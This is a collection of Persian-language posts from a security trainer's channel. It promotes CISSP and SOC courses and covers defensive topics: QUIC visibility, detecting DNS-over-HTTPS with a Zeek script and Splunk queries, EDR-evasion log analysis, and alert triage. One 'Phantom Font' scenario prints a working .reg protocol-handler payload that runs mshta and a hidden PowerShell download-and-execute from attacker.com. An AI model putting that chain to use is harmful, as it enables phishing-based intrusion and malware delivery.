ثبت نام نکنید!!

شرایط کلاس من خاص است نه اینکه از آسمان آمده باشد بلکه من یک سرفصل سنگین برای ۱۰۰ ساعت CISSP دارم که مجبورم در ۳۰ ساعت ارائه دهم.

لذا راهکار را در این دیدم که :

۱- کلاس بجای کمپ ؛ بصورت هفتگی باشد تا زمان مطالعه بین جلسات یک هفته و قابل قبول باشد
۲- دانشجویان باید هر هفته همراه کلاس بخوانند
۳-در طول دوره و در طول هفته بخشی از مطالب قرار است در گروه تلگرامی ارائه شوند اما بنا به ماهیت فلسفی کلاس ابتدا سوالاتی در کلاس مطرح می‌شود و دانشجو باید ادامه ی آنرا در گروه انجام دهد. اگر ایشان پیگیر نباشد و کلاس را شرکت نکند یا مطالعه نداشته باشد و سوالی مطرح نشود؛ قطعا بخشی از کلاس از دست خواهد رفت
۴- اگرحوصله خواندن ندارید یا میخواین با ویدئو بعدا یاد بگیرید یا پیش نیاز ندارین ؛ کلاس نیاین! چون نمیشه با ویدئو؛ کلاس و دوره رو یاد گرفت.

۵-من تعهد به پشتیبانی از دانشجو رو دارم اما هر درس در همون جلسه و همون هفته و منتورینگ برای یکسال؛ پس اگر می‌گذارید درسها تلنبار شوند بعد یادتان می‌افتد که باید بخوانید؛ نباید از من انتظار زیاد داشته باشید چون من کلی پروژه دارم و وقت نمیکنم .
۶-من ادعای زیادی ندارم ولی تونسته ام سواد و توانمندی خاصی جمع کنم و درسی رو ارائه بدم اماااا تحت شرایطی !!
لذا اگر با این شرایط موافق نیستید؛ جاهای دیگر هست و در آن کلاسها شرکت فرمایید و یکدیگر را اذیت نکنیم
این دوره با این شرایط حداقل ۲۵۰۰ دلار ارزش دارد حالا اگر کسی اینو درک کرد ثبت نام میکند.

۷-اگر کارمندان شرکت و سازمانی قراره به اجبار یه دوره ۶ میلیون تومانی بروند، یا کلا دیدتون به CISSP یکسری محفوظات هست یا اینکه قراره نیست از گروه تلگرامی دوره سود ببرید و فقط قراره ویدئو ببینید ؛ لذا این دوره رو شرکت نکنید!! چون بله عددش زیاده و براتون نمی‌صرفه و تخفیف هم نمیتونیم بدیم چون تدریس چنین دوره ای در این سطح؛ زحمت داره.

در نهایت: من تعهدی بر تحویل ویدئوی دوره و متریال ها بصورت دسته بندی شده ندارم . ویدئو پس از هر جلسه شیر میشه و مطالب و رفرنس ها همون جلسه داده میشه لذا از من انتظار کالکتور بودن نداشته باشین

قدمتون سرچشم اگر اومدین و اگر نیومدین موفق باشید


با احترام 🌺

این حجم از درخواست عزیزان و ارادت دوستان منو به فکر انداخت شاید لازم باشه یک استارت مجدد از صفر تا صد SOC برای هموطنانم داشته باشم.

طراحی SOC های نوین
عبور از دیوار نامرئی؛ استراتژی‌های عملی برای نظارت و امنیت در عصر HTTP/3

ظهور پروتکل HTTP/3 و پروتکل زیربنایی آن، QUIC، نشانگر یک جهش بزرگ در تکامل اینترنت است. این پروتکل‌ها با هدف افزایش چشمگیر سرعت، کاهش تأخیر و بهبود امنیت طراحی شده‌اند. اما همین ویژگی‌هایی که HTTP/3 را قدرتمند می‌سازند، یک چالش بزرگ و بنیادین برای تیم‌های امنیت شبکه، مدیران سیستم و تحلیلگران SOC ایجاد کرده‌اند: از دست رفتن دید و شفافیت (Visibility) در ترافیک شبکه.

راهکارهای عملی برای نظارت و تحلیل

راهکار1: مسدودسازی یا محدودسازی QUIC (رویکرد کوتاه‌مدت)
این یک راهکار فوری اما غیرپایدار است. از آنجایی که QUIC روی پورت UDP/443 کار می‌کند، سازمان‌ها می‌توانند به سادگی ترافیک خروجی روی این پورت را مسدود کنند.


راهکار ۲: تحلیل متادیتا و اثرانگشت ترافیک (Metadata & Fingerprinting)
حتی اگر نتوانید محتوای ترافیک را ببینید، هنوز می‌توانید از متادیتای آن اطلاعات ارزشمندی استخراج کنید.

راهکار ۳: بازرسی درون‌خطی و پراکسی (Inline / Man-in-the-Middle)
این رویکرد مشابه بازرسی TLS سنتی است اما برای QUIC تطبیق داده شده است. یک دستگاه میانی ترافیک را خاتمه داده، بازرسی کرده و مجدداً برقرار می‌کند.

راهکار ۴: نظارت بر روی نقطه پایانی (Endpoint Visibility) - استراتژی کلیدی آینده
این راهکار، پارادایم را از “نظارت بر شبکه” به “نظارت بر جایی که داده تولید و مصرف می‌شود” تغییر می‌دهد. این مؤثرترین راهکار بلندمدت است.

بحث HTTP/3 و QUIC یک چالش جدی اما قابل مدیریت هستند. دوران تکیه صرف بر بازرسی پسیو شبکه به پایان رسیده است. برای حفظ دید و امنیت، سازمان‌ها باید یک ذهنیت جدید را بپذیرند: استراتژی‌ای که ترکیبی هوشمندانه از کنترل‌های مرزی، تحلیل متادیتای شبکه و مهم‌تر از همه، دید عمیق بر روی نقاط پایانی باشد. عبور از دیوار نامرئی QUIC نیازمند ابزارهای جدید و یک رویکرد چندلایه و انعطاف‌پذیر است.


دوره تخصصی CISSP
استفاده از 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
www.haumoun.com

راهنمای جامع تشخیص ترافیک DoH (DNS-over-HTTPS) با استفاده از Zeek و Splunk Stream

ترافیک DNS-over-HTTPS (DoH) با رمزگذاری درخواست‌های DNS درون ترافیک وب HTTPS، نظارت و کنترل سنتی بر DNS را برای تیم‌های امنیتی به یک چالش جدی تبدیل کرده است. بدافزارها، ابزارهای نفوذ و حتی مرورگرهای استاندارد از این تکنیک برای دور زدن سیاست‌های امنیتی و پنهان کردن فعالیت‌های خود استفاده می‌کنند. این راهنما به صورت جامع به شما نشان می‌دهد چگونه با استفاده از دو ابزار قدرتمند Zeek و Splunk Stream این ترافیک پنهان را شناسایی کنید.

اصول کلیدی شناسایی ترافیک DoH

قبل از پرداختن به ابزارها، باید بدانیم به دنبال چه سرنخ‌هایی هستیم. شناسایی موفق DoH بر پایه‌ی ترکیبی از شاخص‌های زیر استوار است:

1. سرورهای مقصد شناخته‌شده: اتصال به IPها یا دامنه‌هایی که به عنوان ارائه‌دهنده‌ی عمومی DoH شناخته می‌شوند (مانند Cloudflare, Google, Quad9).
2. پورت استاندارد: ترافیک DoH تقریباً همیشه از پورت استاندارد HTTPS یعنی 443/tcp استفاده می‌کند.
3. مسیر URI خاص: درخواست‌های DoH معمولاً به مسیرهای URI مشخصی مانند /dns-query یا /resolve ارسال می‌شوند.
4. هدرهای HTTP: وجود هدر Content-Type: application/dns-message در درخواست‌های POST یک شاخص بسیار قوی است.
5. متادیتای TLS:
و SNI نام دامنه‌ای که کلاینت قصد اتصال به آن را دارد و حتی در ترافیک رمزگذاری‌شده نیز قابل مشاهده است.
فینگرپرینت JA3/JA3S: اثر انگشت منحصر به فرد کلاینت و سرور TLS که می‌تواند برای شناسایی ابزارها یا بدافزارهای خاص استفاده شود.



بخش اول: تشخیص DoH با Zeek

و Zeek با تحلیل عمیق پروتکل‌ها، ابزاری ایده‌آل برای این کار است. به جای تکیه بر اسکریپت‌های آماده، بهترین رویکرد، ایجاد یک اسکریپت سفارشی برای تولید لاگ‌های ساختاریافته و اختصاصی است.

رویکرد حرفه‌ای: ایجاد لاگ اختصاصی doh.log

این رویکرد به جای چاپ خروجی در کنسول، یک فایل لاگ جداگانه و تمیز به نام doh.log ایجاد می‌کند که تحلیل و یکپارچه‌سازی آن با سایر ابزارها (مانند SIEM) را بسیار آسان می‌سازد.

اسکریپت detect-doh.zeek:

این اسکریپت را در مسیر site/ یا local.zeek خود بارگذاری کنید.


# file: site/detect-doh.zeek

1. تعریف ماژول و ساختار لاگ اختصاصی
module DOH;

export {
تعریف نوع داده برای نگهداری اطلاعات رویداد DoH
type Info: record {
ts: time &log; زمان دقیق رویداد
uid: string &log; شناسه یکتای اتصال برای ارتباط با سایر لاگ‌ها
id: conn_id &log; اطلاعات کامل اتصال (IPها و پورت‌ها)
method: string &log; متد HTTP (GET/POST)
host: string &log &optional; هدر هاست از درخواست HTTP
uri: string &log; URI کامل درخواست
user_agent: string &log &optional; User-Agent کلاینت
ja3: string &log &optional; فینگرپرینت TLS کلاینت (از ssl.log)
};

2. ایجاد یک جریان لاگ جدید به نام doh.log
const log_file = "doh.log";
global log_stream: Log::Stream = Log::create_stream(DOH::log_file, [$columns=Info]);
}

3. پردازش رویدادهای HTTP برای شناسایی الگو
event http_request(c: connection, method: string, original_URI: string, unescaped_URI: string, version: string)
{
# شرط اصلی: پورت 443 و URIهای شناخته‌شده
if ( c$id$resp_p == 443/tcp &&
( "/dns-query" in unescaped_URI || "/resolve" in unescaped_URI ) )
{
# ساختن رکورد لاگ با اطلاعات استخراج شده
local doh_info: Info;
doh_info$ts = network_time();
doh_info$uid = c$uid;
doh_info$id = c$id;
doh_info$method = method;
doh_info$host = c$http$host;
doh_info$uri = unescaped_URI;
doh_info$user_agent = c$http$user_agent;

# اگر اتصال TLS بوده، فینگرپرینت JA3 را اضافه کن
if ( c$ssl?$ja3 ) {
doh_info$ja3 = c$ssl$ja3;
}

4. نوشتن رکورد نهایی در فایل doh.log
Log::write(DOH::log_stream, doh_info);
}
}


تحلیل خروجی

پس از اجرای Zeek با این اسکریپت، فایل logs/current/doh.log شما حاوی رکوردهایی ساختاریافته خواهد بود. شما می‌توانید با استفاده از فیلد uid، هر رویداد DoH را به لاگ‌های دیگر مانند ssl.log (برای تحلیل عمیق TLS) و conn.log` (برای مشاهده حجم داده و مدت زمان اتصال) مرتبط کنید.



بخش دوم: تشخیص DoH با Splunk Stream


انتهای بخش اول

آکادمی روزبه
دوره CISSP
واتس اپ و بله 09902857290

قسمت دوم

وSplunk Stream می‌تواند ترافیک شبکه را به صورت زنده تحلیل و داده‌های ارزشمندی استخراج کند. نکته کلیدی در اینجا، آگاهی از وضعیت رمزگشایی TLS است.

پیش‌نیاز کلیدی: وضعیت رمزگشایی ترافیک TLS

* اگر رمزگشایی TLS فعال است:شما به محتوای کامل HTTP (مانند uri_path) دسترسی دارید.
* اگر رمزگشایی TLS فعال نیست (سناریوی رایج): شما نمی‌توانید محتوای HTTP را ببینید، اما همچنان به متادیتای بسیار ارزشمند TLS دسترسی دارید.

روش ۱: جستجو در ترافیک رمزگشایی‌شده (مبتنی بر HTTP)

این کوئری زمانی کار می‌کند که Splunk Stream قادر به دیدن محتوای ترافیک HTTPS باشد.


sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")
| stats count by src_ip, dest_ip, uri_path, http_method, user_agent, ja3
| sort - count

روش ۲: استفاده از متادیتای TLS (رویکرد پیشنهادی و واقع‌گرایانه)

این روش نیازی به رمزگشایی ترافیک ندارد و با تحلیل فیلد SNI (server_name`) در هندشیک TLS کار می‌کند. این روش بسیار قابل اعتمادتر است.


sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "mozilla.cloudflare-dns.com", "doh.opendns.com", "dns.quad9.net")
| stats count, dc(src_ip) as distinct_clients by server_name, dest_ip, ja3, ja3s
| rename server_name as DOH_Provider
| sort - count

* نکته: لیست IN (...) را باید به‌روز نگه دارید.
* فیلدهای ja3 و ja3s به شما در شناسایی کلاینت‌ها (مرورگرها یا بدافزارها) کمک می‌کنند.

روش ۳: کوئری ترکیبی برای حداکثر دقت

این کوئری هر دو روش بالا را ترکیب می‌کند تا جامع‌ترین دید را ارائه دهد و احتمال خطا را کاهش دهد.


(sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")) OR
(sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "*.quad9.net"))
| stats values(uri_path) as uri_paths, values(http_method) as methods, count by src_ip, dest_ip, server_name, ja3, user_agent
| sort - count


جمع‌بندی و استراتژی نهایی

شناسایی ترافیک DoH یک بازی "همه یا هیچ" نیست، بلکه یک فرآیند مبتنی بر تجمیع شواهد است.

1. با روش‌های با دقت بالا شروع کنید: جستجو بر اساس لیست دامنه‌های DoH شناخته‌شده (server_name در Splunk یا host در Zeek) کمترین میزان هشدارهای کاذب را دارد.
2. از شاخص‌های عمومی‌تر برای کشف موارد ناشناخته استفاده کنید: الگوهایی مانند uri_path="/dns-query"` می‌توانند سرویس‌های DoH جدید یا خصوصی را کشف کنند.
3. از JA3 برای شناسایی ابزارها استفاده کنید: فینگرپرینت‌های JA3 می‌توانند به شما بگویند آیا ترافیک DoH از یک مرورگر استاندارد (مثلاً Firefox) نشأت می‌گیرد یا از یک ابزار ناشناخته یا مخرب.
4. ایجاد خط پایه (Baseline): رفتار عادی DoH در شبکه خود را بشناسید. افزایش ناگهانی یا ظهور کلاینت‌های جدید DoH می‌تواند یک زنگ خطر باشد.

با به کارگیری این راهنمای جامع، شما قادر خواهید بود دید کاملی بر این نقطه کور امنیتی پیدا کرده و به طور موثرتری از شبکه خود محافظت کنید.


دوره CISSP
واتس اپ و بله 09902857290

مثالهایی که باهاشون درگیر بودم :


بدافزارهایی هستن که کامل توی رم اجرا میشن و هیچ اثری از خودشون رو دیسک باقی نمیذارن. اما یه سطح بالاترش هم هست—بدافزاری که با استفاده از WMI (Windows Management Instrumentation) نه تنها فایل نمی‌سازه، بلکه کد خودش رو به صورت اسکریپت (مثلاً PowerShell) توی property یه کلاس WMI ذخیره می‌کنه!
بعد فقط با یه Query به WMI، اون کد اجرا میشه و هیچ ردپایی توی پروسه‌های عادی وجود نداره.

تصور کن حتی با جست‌وجو در پروسه‌ها و فایل‌ها هم چیزی پیدا نمی‌کنی، چون کد مخرب فقط وقتی Query خاص اجرا بشه از دل WMI بیرون میاد!



تنها راه کشفش اینه که ریجستری و دیتابیس WMI رو مستقیم برای Payloadهای مشکوک اسکن کنی که خیلی از آنتی‌ویروس‌ها یا حتی تحلیل‌گرها بهش دقت نمی‌کنن.


✅️شروع دوره CISSP تاریخ ۳۰ مرداد

آخرین مهلت برای استفاده از تخفیف ۳۰ درصدی تاریخ ۲۰ مرداد

واتس اپ و بله 09902857290
Www.haumoun.com

میتوان با یادگارهایی که به جا می‌گذاریم کاری کنیم در یادها بمانیم و طولانی تر زنده باشیم

پس در نشر دانش کوشا باشید

لینک زیر نسخه 8.0 را یک تغییر بنیادی برای BloodHound معرفی می‌کند که هدف آن تبدیل این ابزار از یک تحلیلگر مسیرهای حمله در Active Directory به یک پلتفرم جامع مدیریت ریسک هویتی (Identity Risk Management) در کل سازمان است.
مفهوم اصلی: چرا OpenGraph؟

مقاله توضیح می‌دهد که با پیچیده‌تر شدن محیط‌های سازمانی، هویت‌ها (کاربران، سرویس‌ها و…) و دسترسی‌های آن‌ها دیگر فقط به Active Directory محدود نمی‌شوند. امروزه یک هویت ممکن است به سیستم‌های زیر دسترسی داشته باشد:

محیط‌های ابری (مثل AWS, Azure, GCP)
پلتفرم‌های داده (مثل Snowflake)
ابزارهای توسعه (مثل GitHub, Jenkins)
سیستم‌های SaaS (مثل Salesforce)

مشکل اینجا بود که نسخه های قبلی BloodHound فقط می‌توانستند روابط و دسترسی‌ها را در محیط مایکروسافت (AD/Entra ID) ببینند و از خطرات موجود در این پلتفرم‌های دیگر بی‌خبر بودند. این یعنی یک تصویر ناقص از ریسک‌های واقعی سازمان به دست می‌آمد.

این OpenGraph راه‌حل این مشکل است. این یک معماری جدید است که به BloodHound اجازه می‌دهد:

دریافت داده از هر منبعی: می‌تواند داده‌های مربوط به هویت و دسترسی را از هر پلتفرمی (GitHub, Snowflake, SQL Server و غیره) دریافت و تحلیل کند.
ایجاد مدل تهدید سفارشی: به سازمان‌ها اجازه می‌دهد تا مدل داده و روابط خاص خودشان را تعریف کنند. مثلاً می‌توان تعریف کرد که یک “کاربر” در GitHub چگونه به یک “مخزن کد (Repository)” دسترسی “Admin” دارد.
تحلیل جامع ریسک: با ترکیب داده‌های تمام این سیستم‌ها، BloodHound v8.0 یک نقشه کامل از تمام مسیرهای حمله ممکن در کل سازمان ارائه می‌دهد، نه فقط در یک بخش آن.


https://specterops.io/blog/2025/07/29/bloodhound-v8-usability-extensibility-and-opengraph/

شما نمی‌توانید در آزمون CISSP موفق شوید مگر آنکه Cover to cover کتاب رو بخونید

هیییییچ راه میانبری برای موفقیت وجود ندارد

درد باید کشید شب نخوابی باید داشت

سناریوی جذاب امشب : "فونت شبح" (The Phantom Font Attack)

این سناریو mshta.exe را با تکنیک‌های دیگری ترکیب می‌کند تا یک حمله تقریباً نامرئی و بدون فایل (Fileless) ایجاد کند که حتی ممکن است برخی از سیستم‌های EDR (Endpoint Detection and Response) را به چالش بکشد.

هدف مهاجم: اجرای کد مخرب روی سیستم قربانی (مثلاً یک کارمند در یک شرکت بزرگ) بدون اینکه هیچ فایل اجرایی یا اسکریپت مشکوکی روی دیسک ذخیره شود و با دور زدن سیاست‌های محدودکننده اسکریپت.


مرحله ۱: طعمه و نفوذ اولیه (The Lure)

مهاجم یک ایمیل فیشینگ بسیار هوشمندانه برای قربانی ارسال می‌کند. محتوای ایمیل، یک سند طراحی یا گزارش برندینگ از طرف "تیم بازاریابی" است. در ایمیل نوشته شده:

سلام، لطفاً پیش‌نویس گزارش برندینگ Q3 را بررسی کنید. توجه: برای مشاهده صحیح گزارش، باید فونت مخصوص شرکت ما که در لینک زیر قرار دارد را نصب کنید. بدون این فونت، سند به هم ریخته نمایش داده می‌شود. با تشکر.

لینک ارائه شده در ایمیل به نظر یک لینک دانلود فونت است، مثلاً https://branding-assets.com/fonts/download.php?font=CorpSans.ttf.

مرحله ۲: سوءاستفاده از رجیستری ویندوز (The Registry Trick)

اینجاست که سناریو عجیب می‌شود. قربانی روی لینک کلیک می‌کند. اما سرور مهاجم به جای یک فایل فونت (.ttf)، یک فایل با پسوند .reg برای او ارسال می‌کند. بسیاری از کارمندان ممکن است ندانند فایل .reg چیست و با دیدن پیغام ویندوز مبنی بر "اضافه کردن اطلاعات به رجیستری" (Add information to the registry)، دکمه Yes را بزنند، با این تصور که در حال نصب فونت هستند.

این فایل .reg یک تغییر کوچک اما حیاتی در رجیستری ویندوز ایجاد می‌کند. این فایل یک "Protocol Handler" سفارشی برای یک پروتکل ساختگی به نام fontview:// تعریف می‌کند.

محتوای فایل .reg چیزی شبیه به این است:


[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\fontview\shell]

[HKEY_CLASSES_ROOT\fontview\shell\open]

[HKEY_CLASSES_ROOT\fontview\shell\open\command]
@="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\PhantomFont\\\\Payload'));window.close();\""


چه اتفاقی افتاد؟
این فایل به ویندوز می‌گوید: "از این به بعد، هر لینکی که با fontview:// شروع شود را با mshta.exe باز کن و این دستور جاوا اسکریپت را اجرا کن."

مرحله ۳: اجرای بدون فایل از طریق رجیستری (The Fileless Execution)

پس از اینکه قربانی فایل .reg را اجرا کرد، صفحه وب مهاجم (که قربانی از آن فایل را "دانلود" کرده بود) به صورت خودکار به یک URL جدید ریدایرکت می‌شود:

fontview://load

ویندوز با دیدن این لینک، بلافاصله mshta.exe را طبق دستوری که در رجیستری ثبت شده، فراخوانی می‌کند. حالا mshta.exe دستور جاوا اسکریپت زیر را اجرا می‌کند:

javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\PhantomFont\\Payload'));window.close();

این دستور به mshta می‌گوید:
1. به رجیستری ویندوز در مسیر HKCU\Software\PhantomFont برو.
2. مقداری به نام Payload را از آنجا بخوان.
3. محتوای خوانده شده را به عنوان کد جاوا اسکریپت اجرا کن (eval).
4. بلافاصله پنجره mshta.exe را ببند (window.close()) تا هیچ اثری روی صفحه باقی نماند.

اما صبر کنید، مقدار Payload از کجا آمده؟ مهاجم آن را همزمان با تعریف Protocol Handler در همان فایل .reg اولیه در رجیستری ذخیره کرده است!

بنابراین، فایل .reg کامل چیزی شبیه این بوده:


[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
... (بقیه دستورات Protocol Handler) ...

[HKEY_CURRENT_USER\Software\PhantomFont]
"Payload"="var sh = new ActiveXObject('WScript.Shell'); sh.Run('powershell -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring(\\'http://attacker.com/stage2.ps1\\'))\\"', 0, false);"
`

این مقدار Payload یک کد PowerShell است که از سرور مهاجم یک اسکریپت دیگر (مثلاً یک Cobalt Strike Beacon) را دانلود و در حافظه (memory) اجرا می‌کند.

این سناریو نشان می‌دهد که چگونه یک ابزار به ظاهر ساده مانند mshta.exe می‌تواند به عنوان یک قطعه کلیدی در یک زنجیره حمله بسیار پیچیده و پنهانکارانه عمل کند.


توضیح :
اینfontview:// یک پروتکل جعلی است و پروتکل هندلر آن، دستوری است که مهاجم در رجیستری ویندوز کاشته تا به ویندوز بگوید با این پروتکل جعلی چه کار کند؛ که در این سناریو، اجرای mshta.exe برای اهداف مخرب است.

زغوغای جهان فارق
غور در لاگ :

زمان: T0 (10:30:15 AM)

منبع: Windows Security Log (Event ID 4688 - A new process has been created)

{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}

زمان: T1 (10:30:17 AM)

منبع: Sysmon (Event ID 10 - ProcessAccess)


{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}


زمان: T2 (10:30:18 AM)

منبع: Sysmon (Event ID 7 - Image Loaded)

{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}

زمان: T3 (10:30:20 AM)

منبع: لاگ EDR (EDR Telemetry)

{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
"Result": "Success"
}

سکوت مرگبار ......

زمان: T4 (10:30:22 AM تا 10:31:00 AM)

منبع: لاگ EDR

هیچ لاگ API حساسی وجود ندارد!


این دنباله از لاگ‌ها یک داستان کامل از چگونگی دور خوردن یک EDR متکی بر User−ModeHookingUser−ModeHooking را روایت می‌کند و نشان می‌دهد که چرا تکیه بر یک منبع لاگ به تنهایی کافی نیست و همبستگی داده‌ها (LogCorrelationLogCorrelation) از منابع مختلف (Sysmon, EDR, Network) برای کشف چنین تهدیدات پیشرفته‌ای حیاتی است.


کل سناریو رو میتونید امشب در کانال تلگرامم بخونید roozbeh_learning


دوره CISSP شامل دو دهه تجربه و صد ها کتاب تقدیم به ایرانیان = واتس اپ و بله 09902857290

از صفر در امنیت تا.....

ابراز علاقه بسیاری از عزیزان من رو بر آن داشت تا به این اشتیاق پاسخ دهم و مسیری رو برای علاقمندان شروع کنم.

از صفر در امنیت تا.....

لذا اولش دستگرمی یک ۳۰ ساعت باهم امنیت رو شروع میکنیم تا ببینیم اگر هستید و همت دارید ادامه دهیم


مثل همیشه به واتس اپ و بله 09902857290 پیام بدین و ثبت نام کنید

بسم الله
تمام.

هوش مصنوعی رفتاری: مغز متفکر EDR و XDR های مدرن

در دنیای امنیت سایبری، دیگر نمی‌توان تنها به دنبال بدافزارهای شناخته‌شده گشت. مهاجمان امروزی از تکنیک‌های بدون فایل (Fileless)، ابزارهای خود سیستم‌عامل (Living-off-the-Land) و اسکریپت‌های ناشناخته استفاده می‌کنند که هیچ امضای مشخصی ندارند. اینجا است که هوش مصنوعی رفتاری (Behavioral AI) به عنوان مهم‌ترین و پیشرفته‌ترین بخش یک EDR (Endpoint Detection and Response) وارد میدان می‌شود.

برخلاف آنتی‌ویروس‌های سنتی که می‌پرسند “این فایل چیست؟”، هوش مصنوعی رفتاری می‌پرسد “این فرآیند چه کاری انجام می‌دهد؟”.
این تکنولوژی به جای تمرکز بر ظاهر یک فایل، به تحلیل زنجیره‌ی علت و معلولی رفتارها در زمان اجرا (Runtime) می‌پردازد.

تصور کنید فرآیند Word.exe که یک برنامه‌ی کاملاً مجاز است، ناگهان یک فرزند PowerShell.exe ایجاد می‌کند. این به خودی خود مشکوک نیست. اما اگر آن اسکریپت پاورشل تلاش کند به حافظه‌ی یک فرآیند دیگر تزریق کد انجام دهد (Code Injection)، دسترسی‌های خود را ارتقا دهد و سپس یک اتصال شبکه به یک آدرس IP ناشناس در خارج از کشور برقرار کند، یک داستان کاملاً متفاوت روایت می‌شود.

هوش مصنوعی رفتاری ؛ این نقاط داده‌ی به ظاهر بی‌ربط را به هم متصل کرده و یک “داستان حمله” (Attack Storyline) منسجم ایجاد می‌کند. این مدل‌های یادگیری ماشین (ML) با مشاهده‌ی هزاران میلیارد رویداد، یاد گرفته‌اند که رفتار عادی یک سیستم چگونه است و هرگونه انحراف از این الگو را به عنوان یک شاخص حمله (Indicator of Attack - IOA) شناسایی می‌کنند.

کیفیت و پیچیدگی همین موتور تحلیلی، تفاوت اصلی بین EDR و XDR های پیشرو مانند Trendmicro و راه‌حل‌های سنتی‌تر است. آن‌ها به جای تعقیب بدافزار، قصد و نیت مخرب را در لحظه شناسایی و مسدود می‌کنند. در نهایت، این تحلیل رفتاری است که به EDR و XDR قدرت می‌دهد تا نه تنها در برابر تهدیدات شناخته‌شده، بلکه در مقابل حملات روز صفر (Zero-day) و تاکتیک‌های هوشمندانه‌ی مهاجمان نیز بایستد و امنیت واقعی را برای نقاط پایانی به ارمغان آورد.



دوره CISSP از هفته آخر مرداد ماه

https://t.me/OxAA55


کانال بسیار ارزشمند در مورد اکسپلویت های لینوکس از جناب کاظمی

ثبت نام دوره سطح ۱ شروع شد
واتس اپ و بله 09902857290

Www.haumoun.com
Www.Roozbeh.academy

جایی گفته شده که بروید بجای Auditd در لینوکس ؛ Osquery نصب کنید
اما این جمله کلا مشکل دارد

مقوله Auditd یک ماژول سطح پایین کرنل هست و می‌تونه خیلی دقیق و با دقت میلی‌ثانیه‌ای هر تغییری در فایل، syscall و policy را لاگ کنه. بسیاری از رویدادهای حیاتی و حساس ( مثل privilege escalation یا policy violation) فقط با auditd دیده می‌شن.
اما osquery بیشتر برای مشاهدهٔ کل وضعیت سیستم، asset management، و شکار تهدید (threat hunting) خیلی عالیه، اما واقعا برای لاگ‌برداری لحظه‌ای از رویدادهای بسیار حساس یا policy enforcement مثل auditd قابل‌اعتماد یا realtime نیست.


پس دقیق باشیم امنیت رشته ای است که باید دقیق باشیم ✅️
ضمنا با احترام به آموزش های رایگان ، نباید زمان ، فرصت و اندیشه را بدست هرکسی دارد. چون اشکالاتی این چنین در آموزش های رایگان دیده می‌شود.

تبصره: آموزش های رایگان جناب کاظمی ( دو پست قبل ) کلا از منظور این پست جدا هستند چون ایشان استاد بلامنازع لینوکس اینترنال هستند پس آموزش های ایشون رو دریابید

نکات SOC
تمرکز بر نشانه‌های مهم حمله؛ نه هر آژیری که به صدا در می‌آید

در دنیای امنیت سایبری، ابزارهایی مثل SIEM، EDR و فایروال‌ها روزانه هزاران هشدار و نشانه (IOA: Indicator of Attack) تولید می‌کنند. اما واقعیت این است: هر نشانه‌ای لزوماً برای شما حیاتی نیست. آن چیزی اهمیت دارد که واقعا با ریسک‌های سازمان شما و دارایی‌های حیاتی‌تان ارتباط مستقیم دارد.

مثال فنی: بانک و هشدارهای Remote Desktop

فرض کنید شما تحلیل‌گر امنیت یک بانک هستید که با اطلاعات حساس مشتریان، تراکنش‌های مالی و سامانه بانک‌داری سروکار دارد. هر روز SIEM شما صدها هشدار درباره رخدادهایی مانند لاگین‌های ناموفق Remote Desktop دریافت می‌کند (Failed RDP logins).

در نگاه اول، همه این هشدارها به نظر تهدید می‌آیند. اما آیا واقعاً همه این‌ها مهم‌اند؟

اینجاست که باید مفهوم Event of Interest (EOI) را بشناسید.

شما پروفایل دارایی‌ها را بررسی می‌کنید و می‌بینید لاگین ناموفق روی یک سرور تست که هیچ دسترسی به داده حساس ندارد رخ داده. از طرف دیگر، هشدار مشابهی روی دیتابیس تراکنش بانکی می‌آید که به تازگی از یک IP غیر مرتبط امتحان شده و بلافاصله چند رفتار مشکوک دیگر (مانند اجرای PowerShell) دیده می‌شود.

حالا تفاوت را ببینید:

- سرور تست : فقط یک نشانه از حمله است (IOA)، اما اهمیت خاصی برای سازمان ندارد؛ پس جزء EOI حساب نمی‌شود.
- سرور پایگاه داده تراکنشی:هم ریسک بالاست و هم احتمال بهره‌برداری جدی؛ این یک Event of Interest واقعی برای شماست.

پس

به جای تلاش برای واکنش به هر هشدار، منابع و انرژی تیم امنیتی باید صرف رخدادهایی شود که متناسب با دارایی‌های حیاتی و تهدیدهای واقعی سازمان هستند. این یعنی تقویت امنیت هوشمند، نه پر سر و صدا.


ثبت نام دوره های آکادمی روزبه
دوره سطح ۱
دوره CISSP
واتس اپ و بله 09902857299


دوره های سایر سطوح و هانت و بنفش در آینده نزدیک اعلام می‌شوند